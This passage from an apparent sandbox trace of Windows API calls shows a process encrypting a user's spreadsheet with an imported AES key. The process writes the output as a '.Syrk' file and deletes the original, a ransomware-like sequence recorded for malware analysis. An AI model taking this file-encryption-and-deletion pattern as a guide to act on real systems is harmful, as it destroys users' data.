Memory=0x5c92bcc) returned 0x0 [0228.168] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0228.168] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0228.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0228.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0228.168] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0228.168] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0228.168] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0228.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0228.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0228.169] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0228.169] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0228.169] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0228.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0228.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0228.169] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0228.169] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0228.169] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0228.169] EtwEventActivityIdControl () returned 0x0 [0228.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0228.169] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0228.170] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0228.170] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0228.171] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cff0) returned 1 [0228.173] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x2439110*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c998a0) returned 1 [0228.173] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0228.173] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.174] EtwEventActivityIdControl () returned 0x0 [0228.174] EtwEventActivityIdControl () returned 0x0 [0228.174] EtwEventActivityIdControl () returned 0x0 [0228.180] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx")) returned 0x20 [0228.309] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx")) returned 0x20 [0228.311] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0228.312] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", lpFilePart=0x0) returned 0x2f [0228.312] EtwEventActivityIdControl () returned 0x0 [0228.312] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.313] EtwEventActivityIdControl () returned 0x0 [0228.313] EtwEventActivityIdControl () returned 0x0 [0228.313] EtwEventActivityIdControl () returned 0x0 [0228.314] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0228.314] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", lpFilePart=0x0) returned 0x2f [0228.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0228.315] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0228.315] GetFileType (hFile=0x454) returned 0x1 [0228.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0228.315] GetFileType (hFile=0x454) returned 0x1 [0228.315] EtwEventActivityIdControl () returned 0x0 [0228.315] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.316] EtwEventActivityIdControl () returned 0x0 [0228.316] EtwEventActivityIdControl () returned 0x0 [0228.316] EtwEventActivityIdControl () returned 0x0 [0228.317] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0228.317] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx.Syrk", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx.Syrk", lpFilePart=0x0) returned 0x34 [0228.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0228.317] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0228.321] GetFileType (hFile=0x458) returned 0x1 [0228.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0228.321] GetFileType (hFile=0x458) returned 0x1 [0228.321] EtwEventActivityIdControl () returned 0x0 [0228.321] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x2449638 | out: pbBuffer=0x2449638) returned 1 [0228.322] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0228.323] CryptDuplicateKey (in: hKey=0x5c998a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99820) returned 1 [0228.323] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0228.323] CryptSetKeyParam (hKey=0x5c99820, dwParam=0x4, pbData=0x244a970*=0x1, dwFlags=0x0) returned 1 [0228.323] CryptSetKeyParam (hKey=0x5c99820, dwParam=0x1, pbData=0x244a93c, dwFlags=0x0) returned 1 [0228.323] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.323] EtwEventActivityIdControl () returned 0x0 [0228.323] EtwEventActivityIdControl () returned 0x0 [0228.323] EtwEventActivityIdControl () returned 0x0 [0228.324] EtwEventActivityIdControl () returned 0x0 [0228.325] ReadFile (in: hFile=0x454, lpBuffer=0x244d5ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x244d5ac*, lpNumberOfBytesRead=0x5a2e7d8*=0x1362d, lpOverlapped=0x0) returned 1 [0228.328] CryptEncrypt (in: hKey=0x5c99820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24615c4*, pdwDataLen=0x5a2e7cc*=0x13620, dwBufLen=0x13620 | out: pbData=0x24615c4*, pdwDataLen=0x5a2e7cc*=0x13620) returned 1 [0228.329] WriteFile (in: hFile=0x458, lpBuffer=0x2449720*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2449720*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0228.331] WriteFile (in: hFile=0x458, lpBuffer=0x24625b0*, nNumberOfBytesToWrite=0x12634, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24625b0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x12634, lpOverlapped=0x0) returned 1 [0228.333] ReadFile (in: hFile=0x454, lpBuffer=0x244d5ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x244d5ac*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0228.333] CryptEncrypt (in: hKey=0x5c99820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2474bf0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2474bf0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0228.333] CryptEncrypt (in: hKey=0x5c99820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2474c0c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2474c0c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0228.333] WriteFile (in: hFile=0x458, lpBuffer=0x2449720*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2449720*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0228.334] CloseHandle (hObject=0x458) returned 1 [0228.337] CloseHandle (hObject=0x454) returned 1 [0228.337] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.338] EtwEventActivityIdControl () returned 0x0 [0228.338] EtwEventActivityIdControl () returned 0x0 [0228.338] EtwEventActivityIdControl () returned 0x0 [0228.343] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx")) returned 0x20 [0228.345] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0228.345] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", lpFilePart=0x0) returned 0x2f [0228.345] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0228.345] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0228.346] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0228.346] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0228.346] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0228.346] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0228.346] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0228.346] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0228.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0228.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0228.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0228.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0228.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0228.347] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0228.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0228.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0228.347] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx")) returned 0x20 [0228.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0228.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", lpFilePart=0x0) returned 0x2f [0228.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0228.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", lpFilePart=0x0) returned 0x2f [0228.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0228.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0228.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", lpFilePart=0x0) returned 0x2f [0228.350] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0228.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0228.350] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0228.351] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0228.351] CoTaskMemFree (pv=0x5c9a950) [0228.464] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx")) returned 0x20 [0228.464] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0228.464] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx", lpFilePart=0x0) returned 0x2f [0228.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0228.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x248019c | out: lpFileInformation=0x248019c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa869ff00, ftCreationTime.dwHighDateTime=0x1d99253, ftLastAccessTime.dwLowDateTime=0x79c6b2a0, ftLastAccessTime.dwHighDateTime=0x1d99d80, ftLastWriteTime.dwLowDateTime=0x79c6b2a0, ftLastWriteTime.dwHighDateTime=0x1d99d80, nFileSizeHigh=0x0, nFileSizeLow=0x1362d)) returned 1 [0228.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0228.464] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx")) returned 1 [0228.466] EtwEventActivityIdControl () returned 0x0 [0228.467] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.467] EtwEventActivityIdControl () returned 0x0 [0228.467] EtwEventActivityIdControl () returned 0x0 [0228.467] EtwEventActivityIdControl () returned 0x0 [0228.474] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx.syrk")) returned 0x20 [0228.475] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx.syrk")) returned 0x20 [0228.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0228.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx.Syrk", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx.Syrk", lpFilePart=0x0) returned 0x34 [0228.475] EtwEventActivityIdControl () returned 0x0 [0228.476] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.476] EtwEventActivityIdControl () returned 0x0 [0228.476] EtwEventActivityIdControl () returned 0x0 [0228.476] EtwEventActivityIdControl () returned 0x0 [0228.480] EtwEventActivityIdControl () returned 0x0 [0228.480] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.480] EtwEventActivityIdControl () returned 0x0 [0228.480] EtwEventActivityIdControl () returned 0x0 [0228.480] EtwEventActivityIdControl () returned 0x0 [0228.484] EtwEventActivityIdControl () returned 0x0 [0228.484] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.484] EtwEventActivityIdControl () returned 0x0 [0228.484] EtwEventActivityIdControl () returned 0x0 [0228.484] EtwEventActivityIdControl () returned 0x0 [0228.488] EtwEventActivityIdControl () returned 0x0 [0228.488] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.488] EtwEventActivityIdControl () returned 0x0 [0228.488] EtwEventActivityIdControl () returned 0x0 [0228.488] EtwEventActivityIdControl () returned 0x0 [0228.492] EtwEventActivityIdControl () returned 0x0 [0228.492] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0228.495] EtwEventActivityIdControl () returned 0x0 [0228.495] EtwEventActivityIdControl () returned 0x0 [0228.495] EtwEventActivityIdControl () returned 0x0 [0228.498] EtwEventActivityIdControl () returned 0x0 [0228.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0228.502] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\da4Yt5-_HXX-4.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\da4yt5-_hxx-4.xlsx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2489e04 | out: lpFileInformation=0x2489e04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418f7e0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x418f7e0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x41b5940, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x13644)) returned 1 [0228.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0228.503] GetConsoleOutputCP () returned 0x1b5 [0228.613] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0228.613] GetConsoleOutputCP () returned 0x1b5 [0228.613] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0228.614] GetConsoleOutputCP () returned 0x1b5 [0228.614] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0228.614] GetConsoleOutputCP () returned 0x1b5 [0228.614] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0228.614] GetConsoleOutputCP () returned 0x1b5 [0228.614] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0228.614] GetConsoleOutputCP () returned 0x1b5 [0228.614] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0228.614] GetConsoleOutputCP () returned 0x1b5 [0228.615] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0228.615] GetConsoleOutputCP () returned 0x1b5 [0228.615] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0228.615] GetConsoleOutputCP () returned 0x1b5 [0228.615] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0228.615] GetConsoleOutputCP () returned 0x1b5 [0228.615] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0228.615] GetConsoleOutputCP () returned 0x1b5 [0228.615] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0228.616] GetConsoleOutputCP () returned 0x1b5 [0228.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0228.616] GetConsoleOutputCP () returned 0x1b5 [0228.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0228.616] GetConsoleOutputCP () returned 0x1b5 [0228.616] TranslateCharsetInfo (in: lpSrc=0x1b5, 